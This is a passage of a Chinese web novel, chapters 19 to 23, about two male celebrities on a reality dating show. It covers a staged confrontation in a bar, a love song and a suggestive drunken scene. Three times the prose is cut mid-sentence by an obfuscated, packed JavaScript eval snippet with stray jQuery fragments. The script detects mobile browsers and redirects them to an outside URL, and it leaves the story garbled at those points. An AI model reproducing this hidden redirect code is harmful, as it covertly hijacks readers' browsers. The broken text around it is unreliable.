陆屿洲对那晚最后的印象,是郝景在他耳边介绍这可是一天能上三个热搜的内娱顶流。 再然后,就是第二天早上。 他喝了季沨给的四杯酒。 床、浴室、沙发、落地窗…… 那天晚上,他们昨晚做了四次。 而现在,季沨再一次出现在这样的酒场里,手里握着透明的玻璃杯,嘴角含笑,晃动的耳坠像是夜晚里的闪烁的星星,他是其中唯一的月亮。 回忆像是破茧的蝴蝶般朝着陆屿洲涌来,他在车上跟江沼说过的话猛地被击成粉碎,以至于那一瞬间,陆屿洲脑海里只有他给季沨读过的那首诗—— “Love at First Sight” 如果爱是一个时期为了粉饰性/欲而产生的东西。 那性/欲又从何而来呢? 陆屿洲喉头一滚,便听到节目组的人提醒他:“陆老师,我们差不多可以开始拍摄了。” “好。”陆屿洲的声音带着微微的哑。 可他却没有立刻迈动步子,旁边的江沼一回头,看着陆屿洲挽起袖口,将手表摘下露出腕骨,随后抬手又解开领口的两颗纽扣。 这架势感觉要去里头打人,就在江沼跃跃欲试的时候,他眼睁睁看着陆屿洲又摸出一块香膏,在自己手腕上涂了一点,紧接着,又拿起一枚领针别在自己的胸口,放正之后,又整了整衣领。 很奇怪,就好像他又打算跟那位打架对象相个亲。 等确认自己全身上下已经武装完毕,陆屿洲这才淡淡道:“走吧。” 镜头推上,帘幕拉开,他抬步踏进那片月色里。 19.第十九章 “下面有请我们今晚的演出者,空山乐队!!!!” 镜头扫过台上,乐队的鼓声砸落到地面,直播镜头终于转了场。 【卧槽卧槽!终于要开始了吗!】 【所以现在场景是怎样,陆屿洲看到季沨跟人约会吗?快快快,好刺激!】 【我靠!怎么有种看偶像剧的感觉!】 【别提这个,季沨在偶像剧里的演技怎么样你不知道吗?陆屿洲又是个模特,看起来效果就不会太好吧。】 “季老师。”旁边的工作人员叫了季沨一声,示意他陆屿洲的到来。 季沨微一点头,神情稍稍收敛,已经是入戏的状态。 镜头缓缓从门口的地方推进,先是进门的陆屿洲和江沼。 江沼十分配合地给自己加了戏:“我就跟你说这个乐队不错吧,我最近发现的宝藏,等会儿结束等我带你……” 话音未落,便见陆屿洲目光一顿,停下了脚步。 江沼跟着一停,顺着陆屿洲的视线望见人群中最显眼的那位,虽然自以为在为朋友担忧,但听起来很像是期待好戏开场的幸灾乐祸:“哟,那不是你对象吗?” 季沨的酒杯推到初禾面前,陆屿洲轻轻抚了下手腕。 “旁边那人是谁啊,”江沼继续走剧情,“大晚上带着来夜场玩,还这么暧昧……” “你看看,”江沼试图夹带私货,“当时你俩谈的时候我就说这人水性杨花靠不住吧。” 季沨抬头朝着这里望了一眼。 毕竟他们两个的身高腿长在门口的位置实在太过明显,江沼可以很确定,季沨看到了他们。 镜头立刻推上去,期待着从季沨眼里找到任何被抓包后的忐忑、慌乱、不安。 可惜没有,他只是往陆屿洲身上扫了一眼,挑眉笑了下。 随即便收回目光,丝毫没有要解释的意思,反而是转过头去问旁边的初禾:“尝尝味道怎么样?” 卧槽,都被人捉奸了还能这么淡定……不愧是季沨啊。 江沼想想刚刚的架势,劝旁边的陆屿洲:“等会儿骂两句就行了,可千万别动手。” “那个……”江沼小声道,“他拍戏的时候学过散打的。” 陆屿洲没有应声,只是抬步走过去,像一柄锐利的剑,将自己强硬地插入季沨和初禾之前,声音低沉:“季沨。” 非常的标准,兴师问罪的语气。 捉奸戏典型的有三种,歇斯底里型,隐忍发作型和爽快报复型。 但是陆屿洲哪种都没有做—— 他说完这句开场白,便往季沨旁边的高脚凳上一坐,手指懒散地搭在吧台上,挽起的衬衫袖口露出手腕。 季沨曾经在床上夸过他的手很漂亮,也许是因为学过钢琴的缘故,陆屿洲的手指长且灵活,每次都能进得很深。 那双被夸赞过的手在桌面上点了点,手背青筋毕露,衬衫领口露出的胸膛袒露着蓬勃的肌肉线条,周围还有一点淡淡的冷香:“在调酒吗,季老师?” 陆屿洲确实没有吵架,甚至就像是他跟江沼说过的,语气里还带着一点刻意压低的磁性,仿佛要刻意勾人似的:“给我也来一杯吧。” 他注视着季沨的漂亮眼睛,就像是季沨初见时那样望过他一样,缓慢地吐出四个字:“冰山美人。” 季沨握着吧勺的手微微一顿。 旁边的初禾给自己凑了句台词:“这人谁啊,季哥,你朋友吗?” 季沨的目光终于避无可避地跟陆屿洲碰在一起。 被捉奸的戏份演法一般也分为三种。 痛哭流涕型,做小伏低型,和矢口否认型。 但是季沨也哪种都没有用。 吧勺在指间一转,轻飘飘道:“不认识。” 他抬手将旁边的香槟倒进酒桶:“我们不是已经分手了吗?” 陆屿洲搭在吧台的指尖微微一紧:“分手?” “嗯,”季沨点头,绕过他去酒架拿朗姆酒,手指擦过陆屿洲的侧脸,像一场毫无预谋的暧昧抚摸,“你忘了……在休息室。” 季沨望着陆屿洲,那是众人第一次认真地体会到他原来是有演技这个东西,漂亮眼睛轻佻撩人,可细看却带着一点怀念和哀伤:“你亲口说的,要结束关系。” 【卧槽!!!!!季沨牛啊!】 【还以为这次能看到季沨滑跪道歉,我的妈呀这是什么倒打一耙。】 【人家来捉奸反手一个分手炸弹,好好好不愧是我沨哥,什么时候出个教程啊哥太会了!你在片场真的没有偷偷给自己加戏吗?】 【笑死,现场压力来到了陆屿洲这边。】 这确实是再贴切没有的倒打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13296749|139401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一耙。 结束关系四个字分明是季沨提的。 但是季沨已经开了戏,陆屿洲也无法辩解,只能顺着他演下去:“我不是这个意思。” 毫无经验的陆屿洲丝毫不知道这是偶像剧教科书式的错误案例,果不其然,季沨的下一句就是:“但我是这个意思。” “我觉得我们就这样结束也挺好的。”季沨说。 “为什么?” “因为我觉得你不爱我,”季沨一只手晃动着摇壶,连语气也轻飘飘的,很难让人看出是真心还是假意,可指控却是扎扎实实,“你跟我只有晚上见面,从来不会关心我去哪拍戏累不累,过节过生日从来没有给我送过礼物,从来没有跟我说过我爱你,也从来没有给我制造过惊喜和浪漫……” 季沨往酒杯里挤了一点青柠汁:“这怎么能叫做爱呢?” 【卧槽哈哈哈原来你俩是这么谈的恋爱吗?】 【我还以为是纯爱偶像剧妈呀季沨这么一说这得是换攻文学吧。】 【是谁说我们沨哥台词不行的!这编起来不是挺流畅的吗,好家伙听起来跟真的一样。】 是真的。 季沨说得一点没错。 他们的台词没有一点伪饰,远比观众以为的真实还要真得多。 但是问题的关键关键的问题是—— 做/爱也能叫做爱吗? 陆屿洲张了张嘴巴,却发现自己哑口无言。 可这在两军交战的过程中几乎是致命的,季沨一只手将冰块丢进酒杯:“那么你呢?” “我?” “对啊,”季沨缓缓笑了下,陆屿洲或许自己都没发现,分明是他安排的这场恋综上的相遇,可是踏进节目组的那一刻开始,他就在逐渐失去主动权,只能看着季沨靠过来,“明明已经说了结束……” 季沨盯着他的眼睛:“这么兴师动众地过来,是为什么呢?” 陆屿洲心头重重一跳,一瞬间以为季沨不是在演戏,而是早就知道了自己所做的一切,可是分明在节目组的休息室里……他的讶异是如此真实。 察觉到他的窘迫,季沨勾了勾唇角,眼睛带着生动又暧昧的浮光,好像是直直地将陆屿洲的心脏破开一个口子:“你该不会是突然发现……” “还有点喜欢我吧?” “陆老师?” 20.第二十章 但是还没等陆屿洲说话,季沨便将手中的酒杯往陆屿洲面前一推:“你的酒。” “欢迎享用。” 他微微一笑,手指往旁边的初禾肩上一搭:“小禾,我们走。” 陆屿洲低头看了眼面前的酒液。 冰蓝色的,底色带了一点透亮的橙红,季沨还在上面放了青柠片,被蓝橙力娇酒映得幽蓝,好像是从冰面探出的心脏。 【我去刚刚光顾着看戏!季沨居然真的会调酒啊,你还有多少惊喜是朕不知道的!】 【就是说啊,老婆刚刚的好帅好蛊,我疯狂舔屏!!】 【这个就是刚刚lyz点的冰山美人吗?还挺漂亮的。】 【什么冰山美人,冰山美人是粉色,这个酒看色泽……应该是再见前任吧?】 【哈哈哈哈救命再见前任,好应景的名字哈哈哈哈】 【一个酒搞这么多花样,我沨哥不愧是内娱第一海王啊哈哈哈】 弹幕都在嘲笑这个所谓“再见前任”,没人注意突然飘过去的一句: 【不对吧,我是调酒师,再见前任是纯蓝的,这个底部带着橙红,这分明是——】 【爱在黎明降临前】 陆屿洲端起酒杯喝了一口,辛辣的酒液呛入喉腔,忍不住皱了下眉。 “不是啊不是我说啊兄弟!”江沼痛心疾首地跑过去,“你还记得自己是来干什么的吗?你不是来捉奸的吗,怎么人家一个大招你连A都不A一下了,人不能就这么放弃抵抗啊!你倒是好歹提一下啊。” 酒杯在手指转了个圈,陆屿洲注视着卡座里跟人玩牌的季沨,姿态懒散地坐在初禾的旁边,一只手搭在他后座的沙发上:“没事儿,你来摸牌,我替你打。” 不知道是不是自己的错觉,这一杯似乎比自己以前在酒吧点的鸡尾酒都有些过分辛辣了,陆屿洲抬手又灌了自己一口:“我说过的,我不会侵占他的自由,如果他离开我去找别人,那也只能说明我魅力不够。” 【啊??????lyz你在说什么?!】 【我还以为你是个忠犬,好家伙搞了半天原来你是个舔狗啊。】 【笑死,陆屿洲不会是因为自己不会谈恋爱所以临时搜的霸总语录吧,你真的觉得这很甜吗哥?】 【好啦好啦,这只是演技综艺啦,导演又不让影视剧台词,用一下网梗怎么了,我们陆哥又没有谈过恋爱,没有经验瞎说而已,拜托大家放过他吧(求求)】 【没人觉得他说得很有信念感吗,差点就信了哈哈哈】 旁边的江沼讶异地看了他一眼。 他没想到陆屿洲会直接把这句话当着镜头讲出来,如果这不是演技综艺,他可能第二天就得被挂在热搜上鞭尸了。 这种不管不顾想说什么说什么的样子,倒是让他想起…… 季沨。 陆屿洲这种人看着又冷又淡漠,跟季沨那种未语三分风流笑的压根不是一个类型,江沼第一次觉得,他们俩骨子里这种视镜头于无物的气魄……倒还是蛮相似的。 卡座上,初禾抽出牌,季沨靠在他旁边扫了一眼,指尖在牌面上微微一点:“出这张。” 初禾现在的人设是挑拨离间的绿茶,故意拿着牌往季沨跟前凑:“哇!季哥你好厉害。” 他的手指跟季沨的手不可避免地一擦,陆屿洲搭在杯口上的指骨立刻捏紧了。 “其实我也觉得这么没什么,”既然陆屿洲刚刚都那么说了,江沼只好顺着他道,“谈恋爱嘛,还是应该给对方一点自由的空间,跟朋友出来喝个酒怎么了,咱们不也出来喝酒了吗,你说对吧?” 这话跟陆屿洲在车上所想的一般无二,他点点头:“嗯。” 只是说完这话,突然仰头喝了口酒。 “季哥,”初禾一只手扔着牌,悄悄凑到季沨身边,“吧台那两个人一起盯着咱们呢。” “刚刚跟你什么关系啊?真是你前任?看起来脾气不太好的样子。” “不是。”季沨说完这话,从初禾手里抽了张牌扔出去,“我男朋友。” 他这话说得自然流畅,好像刚刚在旁边咄咄逼人跟陆屿洲说已经分手的不是他一样:“不是脾气不好,是脾气太好了。” 爱情里如果没有占有欲,那他就不应该爱人。 应该去做圣人。 季沨轻轻笑了下:“得磨磨。” “怎么磨?” “所以我这不是找你来帮忙了吗?” 季沨脸上带笑,将初禾旁边的鬼牌往下一扔,随后斩钉截铁地宣布:“我们输了。” 初禾讶异地睁大眼睛。 他本来以为季沨说什么看着他打是要帮他赢,敢情这牌技还不如他呢? 那他在这里瞎教个什么? 唯有季沨自己输了牌也不见任何失落,反而笑意盈盈伸出手:“行,那我来抽个惩罚。” 木签的背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306944|139401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面写着输家要接受的大冒险,季沨看起来只是随意摸了一根,垂眸看了一眼手中的签子。 “没事儿,只不过打牌抽个大冒险而已,好朋友之前玩个牌多正常啊,总不能因为你过来了就让人家扫兴,这样你不成妒夫了?”陆屿洲没反应,江沼只能自己用画外音替他补全心理,“而且你对象这种性格,我看他也就是一时兴起罢了,他对什么事儿的新鲜感都没有超过过半年,何况是人呢。” 谁知说完这话,陆屿洲突然冷冷地看他一眼。 随后抬手将杯中的酒给一口闷了。 过分辛辣的酒液让肺腑变得灼烧,陆屿洲握着空了的酒杯,表情却依然是淡淡的:“你说得对。” * “抽的什么?抽的什么?” 众人拥过去,看清木签上的字:跟你旁边的人用嘴传扑克牌。 “好啊。” 季沨应得很快,那双漂亮的桃花眼只在吧台的位置一晃,确认另一双眼睛的视线位置,微微一笑,双手撑在沙发上,凑近初禾—— 这是个任何人看起来都会觉得暧昧的姿势,可唯有离得最近的初禾听清了季沨嘴唇张合的气音:“等我们在一起了请你吃饭。” 他用了一个拍剧里十分常见的错位,使得两个人侧面看起来很像是在接吻,季沨嘴里咬着张扑克,轻轻一送。 镜头立刻对准陆屿洲,想要切他此刻的反应,却见陆屿洲面无表情,眼神冷漠,泛白的手指握着杯子,像是在观看一部主角漂亮的MV影片。 【果然是隔行如隔山,到底是谁在说lyz演技好啊,这怎么跟个木头一样,你老婆都快亲上了一点反应都没有吗兄弟!】 【这不是废话,那又不真的是他老婆,别说亲了就算是现在do了也不关他事儿吧?】 【怪不得刚刚能说什么不在意找别人这种话,笑死,敢情那不是你老婆啊陆哥!】 “就是说啊,你也不在意当然最好了。”江沼还在碎碎念,“我看既然他对你意见也挺大的,不然你们就这么分……” 他一个手字还没说完—— 砰! 可就在季沨和初禾即将碰上的一瞬间—— 吧台猛地发出一声巨响。 陆屿洲冷淡地,沉默地,面无表情地,捏碎了手中的杯子。 散落一地的玻璃碎片像是因为压迫太深而爆裂的心脏,直至此刻,众人才看清陆屿洲眼中闪动的疯狂与幽深。 21.第二十一章 【卧槽卧槽卧槽!!!陆屿洲这场简直绝了!!!】 【先是满不在乎地冷淡,手指却不由自主地握紧,后来随着二人的靠近而不断地加重,到最后一刻的爆裂!演技真的神了!】 【老天奶lyz你一个模特演技怎么这么好啊!情绪真的好真实啊,而且一点也不崩人设!】 【对啊,还有那个杯子的设计,他居然真的说捏就捏碎了,好牛逼啊!】 【肯定是节目组的设计啦,那个杯子不是季沨递过来的嘛,大概率是节目组的道具而已啦,不要吃惊~】 江沼狐疑地看了眼旁边的碎片,就在他以为陆屿洲终于要站起来开大的时候,这人却只是扫了季沨一眼,随后,抬步去了后台。 摄像跟着撤了回去,留在吧台的江沼摸了摸碎片,差点没被锋利的切角扎到手。 卧槽……这是真的! 看这个玻璃的厚度,陆屿洲得使多大力啊。 他一个模特,上个综艺演戏都这么拼的吗? 怪不得人家是国际巨星,瞧瞧,这是真敬业。 台上正逢乐队中场休息,擦着吉他的主唱听到后台的声音,不着痕迹地冲着季沨递了个眼神。 季沨和初禾的动作被吧台突然其来的异动打断,好在二人都没有在意,此刻牌局已经进行到第二把,季沨出着牌,冲着主唱一点头。 台上的灯光瞬间暗了下去。 所有人都在期待着第二场的演出,唯有季沨还在八风不动的打牌,明明是一副烂牌,却被他绝地翻盘,最后两张往下一扔,已然是赢下了这一局。 初禾讶异地望着他,一时不知道季沨的牌技到底是好还是差。 又或者……他只在该差的时候差。 想赢的时候却可以一直赢。 “你是不是……” 一个猜想在心中成型,然而还没来得验证,台上的喧嚣便盖过了他的声音: “让我们再次欢迎——空山乐队!!!” 灯光渐次亮起,主唱先抱着吉他和鼓手来了段solo,作为刚刚冒头的乐队新秀,虽然只是在小live中演出,他们的水平却十分可圈可点,直接将场上的氛围拉上了高潮。 “啊啊啊啊空山!” “空山牛批!牛批空山!!!” “空山我爱你!!!” “谢谢大家! ”主唱扶了扶麦架,“下半场先给大家带来一首老歌。” “和我们的一位……新朋友一起。” “大家都知道,我们的今天台下来了几位前辈,其中一位便是让多少人魂牵梦绕的曾经Butland的队长,有人知道Butland为什么叫Butland吗?” “啊啊啊啊我知道我知道!!!”台下还有Butland的早年团粉,当即举手,“因为取自‘着陆蝴蝶’!” “对!”主唱一点头,甩动他的一头黄毛,“所以让我们跟这位陆老师一起完成Michael 的这首《Butterflies》,”他双手摊开,朝着季沨做了个献出的姿势,“送给他的伴侣,他的Butterfly!!!” 如果□□也能叫做爱的话。 那么床伴也确实能叫做伴侣。 最后一束追光灯落下,陆屿洲站在长身玉立站在键盘前,骨节弯起,缓缓地按了下第一个音。 他居然又换了身衣服。 很难想象一个人为什么会在为期两天的综艺里带这么多套行头,而且居然还有耐心一套一套地换搭配—— 烟灰色真丝衬衫,黑色牛仔裤,两条叠戴的金属项链,手上还套了两只装饰戒指,衬衫的材质自然是很好的,酒吧的灯带打上去呈现出光影的质感。 不得不说,很适合现在的场合。 原本清冷的气质被这样的装扮冲淡了不少,好像是来猎艳的矜贵公子,卷上的衬衫露出玉石般的手腕,陆屿洲弹琴的样子淡漠松散,目光并没有落在琴键,反而是抬眸盯着卡座的位置,前奏过后,单手扶了下面前的麦架: “All you gotta do is walk away ” 【卧槽卧槽!!!居然是陆屿洲主唱吗?!】 【啊啊啊啊啊天哪天哪我何德何能能听到陆哥开嗓,这个综艺真是立大功!!】 【lyz今天这身好帅啊啊啊啊,YSL快请他做全球代言啊啊啊!】 他的嗓音清冷好听,好像一把潺潺的大提琴: “and pass me by” 只是语调略显落寞,唱过这一句的时候,好像在控诉一个掠过心间却又始乱终弃的人: “when all i can do is sigh” 他那双琥珀色的眸子这样定定地注视着人的时候很容易让人产生深情的错觉,也许是喝了酒的原因,眼睛里像是春日里的湖面,唱歌的声线又比平时要低,带着微微撩人的哑,曲子进入高潮,陆屿洲望着季沨,缓声道:“i just wanna touch you.” 他想起初见时在季沨手中燃烧的黑色蝴蝶,想起无数个夜晚里从他弯起的脊背落下的水滴,想起握在手里的腰身和发颤的嗓音。 “i just wanna touch and kiss” 他想起季沨推过来的酒杯,漾起的笑,发红的眼尾,将落未落的泪和抓在他背上的手指。 “i wish that i could be with you tonight” 第一面,他们俩确实都是见色起意。 指尖在琴键上跃过,音符流动,在晃动的暧昧灯带里,众人举起手臂,摇晃着身体。 橙红的酒液在季沨的手中熄灭,蝴蝶的灰烬落尽,陆屿洲想起他拥紧季沨的那一瞬,胸腔相撞,纷飞蝴蝶在他的心脏里重生: “Cause you give me butterflies inside” “I caress you,”陆屿洲用微哑的,饱含情欲的嗓音唱出这句话,随即望着季沨的眼睛,唤他,“ my butterfly.” 【啊啊啊啊啊啊啊啊啊要大命了要大命了!我居然觉得陆屿洲很欲!】 【你没错姐妹!他这个嗓音配这个词卧槽真的很像是晚上邀约doi啊啊啊卧槽卧槽!】 【这也太带感了啊啊啊啊虽然我知道是节目组,可退一万步讲,他跟季沨真的不能do吗?就当是为了我!!!】 季沨在这一瞬回望陆屿洲,漂亮的桃花眼映在他深深的瞳孔里 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“季沨!季沨!!季沨!!!季沨!!!!” “答应他!答应他!!答应他!!!答应他!!!!” 灯光师十分具有节目组效果地调了束追光,正巧打在季沨的头顶,让他好像是偶像剧告白中的另一位主角。 大家都是明星,也不会在这种场合害羞扭捏,季沨将手中的酒杯一放上了台,一只手接过主唱的麦架,嘴角含笑:“行了别起哄了,搞得像是求婚一样。” 谁知道此言一出,台下的起哄声反而更热烈了。 “想看求婚?”季沨应了声,偏头望了眼一旁站着的陆屿洲,“那可不行。” “求婚要是就这水平,我可不会同意的。” 他三言两语便把气氛拨响了高潮,却依然把控着节奏,问主唱:“我们这首歌应该也不难啊,”男团的口水歌罢了,“你们要我来指导什么,背词儿?” “季老师,您可不在这儿指导。” 季沨微一挑眉:“那我在哪?” “在这儿。” 旁边的陆屿洲终于开口,一伸手将季沨拉到自己的身边,这终于的触碰在某种程度上缓解了他胸膛里跳动的渴望:“我不会,季老师,教教我。” 陆屿洲上床的时候也说过同样的话。 可惜季沨并没有回应的意思,望了眼手边的键盘:“你我就更教不了了,我不会弹琴。” “好。” 陆屿洲一点头,季沨转身要走,却被一把扣住手腕往回一拉,陆屿洲的胸膛贴着他的脊背,将他整个人按在琴键上:“我会,我教你。” 季沨的手腕被他扣得很紧,桃花眼里光华流转:“可是我不记得我说过要学啊。” “别生气了。” 陆屿洲微微俯身,嗓音里淡淡的酒气,让季沨疑心他可能已经喝醉了,因为下一秒—— 陆屿洲当着直播镜头,抓着季沨的手指按在黑白琴键上,两人的十指亲密无间的扣在一起,他的脸颊贴在季沨的侧颈,讨好地蹭了蹭:“给你唱歌了。” 语气中带着攒了一个月的委屈和思念: “不分手了,好不好?” 22.第二十二章 “陆屿洲!你他妈喝醉了吧?!” “……我没有。” 闷闷地声音传过来,季沨垂眸盯着他:“你再跟我说一句没有试试看。” 许是察觉到语气中的威胁,陆屿洲不说话了,乖巧地抱着一瓶香槟,坐在吧台盯着季沨看。 “季老师!”潘叙刚带着节目组的人刚卸完设备,看了眼坐在吧台上的陆屿洲,“陆老师没事吧?” “没事,就是喝醉了。” 季沨说:“怪我,早知道他酒量那么差,我就不给他那杯酒了。” “这怎么能怪您呢,”反正陆屿洲醉着,潘叙当然顺着季沨的话说,“谁也不知道他一杯倒啊不是。” 不过他随即清了清嗓子,正色道:“综艺正片出来的时候还是会经过剪辑,刚刚那一段……”虽然很想要留着,潘叙还是优先询问季沨的意见,“您是要删了还是留着?” “我无所谓啊。” 季沨转着酒杯宛然一笑,下巴一抬示意旁边的陆屿洲:“他做的好事,等他醒了你问他吧。” 陆屿洲可能以为季沨的笑是冲他,于是勾起唇角回了季沨一个笑,又拿起手中空了的香槟瓶跟季沨一碰:“Cheers!” 季沨转过头,更加没眼看了。 看样子是醉得不轻啊……酒量这么差怎么混得圈,潘叙问季沨:“你们二位都喝了酒,我让助理开车送你们回去?” 他话音刚落,之前的主唱隋易就擦着吉他走过来:“我来送吧,刚好我还有些问题要请教季老师。” 潘叙觉得这人是想借机跟前辈示好,不过看季沨也没有拒绝的意思,于是点点头,望向另外一个:“那陆老师……?” 陆屿洲虽然醉了但依旧坐得笔直,警惕地拽住了季沨的衣袖。 “陆屿洲?” 季沨拽了一下没拽出来,只好对潘叙说:“没事儿,你们先回去吧,等会儿我把他带回去。” “陆屿洲?”等潘叙走了,季沨才恢复了刚刚的那种熟稔的,带着几分命令的语气,“松手,我不走。” 陆屿洲岿然不动,目光紧紧地盯着季沨。 季沨只好拍拍他的脸颊,催促道:“快点。” 他的语气哄小孩似的,陆屿洲终于听话地松开了手,但是下一秒就把拽在季沨衣袖上的手改为抓住了他的手指,扣得很紧,像是抓着一把稍不留神就会溜走的蝴蝶。 季沨:“你干什么?” 陆屿洲于是拉着季沨靠近自己,盯着那双手仔细观看:“手指……”他许是忽然想起来自己还没有礼尚往来地夸过季沨,于是道,“好看。” 季沨笑了,故意逗他:“好看又怎么样,你给我个机会用用?” 谁知道陆屿洲还真的一点头:“好。” 季沨一愣,那只手便被陆屿洲向前一拉凑到唇边,猛地亲了一口。 薄唇带来温热的触感,季沨心脏一麻,随即将自己的手给出了起来:“你疯了陆屿洲!你是想明天上热搜吗!” 他左右看了一圈,确认Live里目光只剩下自己的员工,这才松了口气。 “哟,”隋易往吧台一靠,目光在两人之间扫了一个来回,“这人你认识啊,老板?” 是的,今晚进门时,门口那位礼宾没叫完的称呼,正是老板。 这是季沨自己的店。 他盘这家的时候甚至比阮嘉那个“陌路”还要早,店面装修以及乐队的签约费,几乎是当时季沨可以挪动的全部积蓄。 当时Butland刚刚解散,季沨自己能不能在圈子里继续混下去都不一定,没人知道他为什么会盘这个店。 但事实证明,季沨眼光很不错。 “今晚表现不错,节目播出之后,你们的热度应该会再加一倍,”季沨拍拍隋易的肩,“把握住机会,该蹭的热度还是要蹭,可以@我,我会帮你们转发的。” “行啊,那我就等着抱老板大腿了。” 隋易倒也没客气:“咱们工作室什么时候弄啊老板,之前已经有两家公司来问我们了。” “快了。” “快了是什么时候?” 季沨笑了下,目光在陆屿洲脸上一顿:“恋综结束以后吧。” 陆屿洲猝不及防看到季沨的笑,手中的香槟一松,刚要摇尾巴,季沨赶忙把衣袖重新塞回他手里:“拉紧,走了。” 陆屿洲拉着他站起身,姿态依然是端庄的,只是步子稍稍有点晃,走了两步,突然皱着眉停了下来,季沨疑惑地一回头,陆屿洲突然靠近他,将他今天晚上弄乱的领子给整理好,又将项链上的吊坠摆放到正中间。 这才露出满意的笑容,一本正经道:“好了,走吧。” “怎么这种时候还能记得你的强迫症啊,”季沨道,“你不会等会儿路边见他人都要帮人家扯衣服吧?” 他也就是一句抱怨,没指望这个状态下的陆屿洲能回答。 三人一路来到地下车库,季沨刚要迈步,陆屿洲眨了下眼睛,迟钝的大脑似乎刚刚反应过来季沨的意思,凑到他耳边小声道:“我只对你这样。” 他鲜少有这么直接表露感觉的时候,季沨一怔,随即勾了勾唇角:“喝醉了倒是比平时可爱。” “那是当然,”旁边的隋易接过话,“毕竟三千块一瓶。” “不过我就是有点好奇……老板,就算瓶子看起来差不多,但高度酒和低度酒的摆放位置,您应该是知道的吧?” 隋易想起季沨今天调酒时的动作:“是忘了还是不小心拿错啊?” 季沨微一挑眉:“你说呢?” 隋易一笑,目光落在他和陆屿洲交握的双手上,便见季沨将车钥匙往他手里一扔:“滚去开车。” 那当然是上司最大,隋易将车钥匙往指尖一套,双手举起做投降状:“好的老板!” * 带一个醉鬼回去不容易,但好在陆屿洲酒品很好又很听季沨的话,稳稳当当地回到别墅里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“嗯。” “爱意味着绝对信任,授予另一个人摧毁自己的力量。” “对。” “人是被抛到这个世界上来的,空无得只有自由,但爱是对自由的侵占。” …… 原来人喝醉了话真的会变多,季沨头一次见陆屿洲说这么多话,往常他们的角色像是翻了过来,这回轮到季沨点头,而陆屿洲像个只能絮絮叨叨念经阻止自己被妖孽拉下红尘的和尚。 以至于季沨听到最后都有点困了,打了个哈欠:“嗯嗯嗯,你说得都对。” “那我走了?” “别走。” 季沨刚要去洗澡,陆屿洲忽然一把扣住他的手腕,和当初季沨在休息室里离开时一模一样的姿势,这个桥段不知是触动了陆屿洲的哪块记忆,他死死地扣着季沨,将自己无名指的装饰戒指取下来,准确无误地戴在了季沨的中指上。 小和尚念了一圈的经,最后只得到了一个结论—— 陆屿洲将季沨的手和自己的收拢在一起,两个中指上的戒指闪闪发亮:“我的。” 他低声道:“季沨……” “我想你了,陪陪我。” 23.第二十三章 他的语气里带着不易察觉的委屈,季沨感到自己心脏好像给一起扔到了海绵里。 果然还是喝醉了的比较可爱,季沨摸摸他的眼睛:“这么想,为什么白天不告诉我?” 陆屿洲又不说话了。 他宕机的大脑显然无法处理这样复杂的感情,睁着琥珀色的眼睛望季沨,好像是一汪沉醉的湖水。 季沨的指尖让他觉得有些痒,长长的睫毛颤了颤,忽然就着这个姿势凑近了些,季沨的手指从他的鬓角擦过,陆屿洲的鼻尖碰到季沨的鼻尖:“……季沨。” 他轻声说:“你的香水味很好闻。” 一点酒气透过这个动作打在季沨的呼吸,桃花眼稍稍弯起:“离这么近……想亲啊?” 陆屿洲点了点头,是一个靠近的姿势。 季沨突然在这个时候勾住了他的下巴:“叫声哥哥再给你亲。” “哥哥。” 声音要成熟许多,带着些醉后的属于男人的哑,像是醇厚的葡萄酒。 季沨踮脚吻上了他的眼睛。 陆屿洲很快掌握了主动权,压着他的腰将他按在了沙发上,灼热的酒气打在季沨的颈侧,刚刚整理好的领子被人顺着胸膛钻进去,口腔被完全打开,亲吻的水声带来汗水和津液。 陆屿洲的手指沿着胸口抚摸到季沨的脊背,顺着背沟渐渐下滑,他吻得很深,带着酒精的冲动,让季沨的大脑都有些跟着发昏,伸手推他:“……陆屿洲。” 陆屿洲这才恋恋不舍地停下来,像是小狗放开一块心爱的骨头,爱怜地伸手碰了碰季沨的眼尾:“又红了。” “湿/湿的。”陆屿洲说。 季沨的脸蹭一下红了。 陆屿洲清醒的时候是不会说这些床上的荤话的,大多数时候都礼貌又绅士,换个体位都要问季沨一句“可以吗?” 季沨还以为这个人脑子里不会装这些东西:“谁教你的这些话?” “你发烧后,”陆屿洲说,“我自己学的。” 陆屿洲亲了下他有些发红的耳朵:“不想让你觉得我技术很差。” 怪不得那次过后,陆屿洲在床上的技术莫名突飞猛进。 “我没有这么说过。”耳垂有些痒,季沨微微偏过头,“你……挺好的。” 各种意义上来说。 但是从陆屿洲的视角看来,季沨此刻眼尾带着潮湿的红,嘴唇被亲得发亮,落下的领口露出流畅的锁骨,微微偏着头的样子像是油画里最漂亮绚丽的那一幅。 “那为什么要找别人?” 陆屿洲后知后觉地开始控诉,手指收紧季沨的腰,像是要把一幅握不住的美人画放进自己的骨头里:“不要找别人。” “爱是对自由的侵占。” 身为半个演员,季沨记台词的能力很好,缓缓重复陆屿洲说过的话。 “不要跟别人约会。” “爱是试图将真实和假象结合起来的迷惘。” “不要给别人调酒。” “爱意味着绝对信任,授予另一个人摧毁自己的力量。” 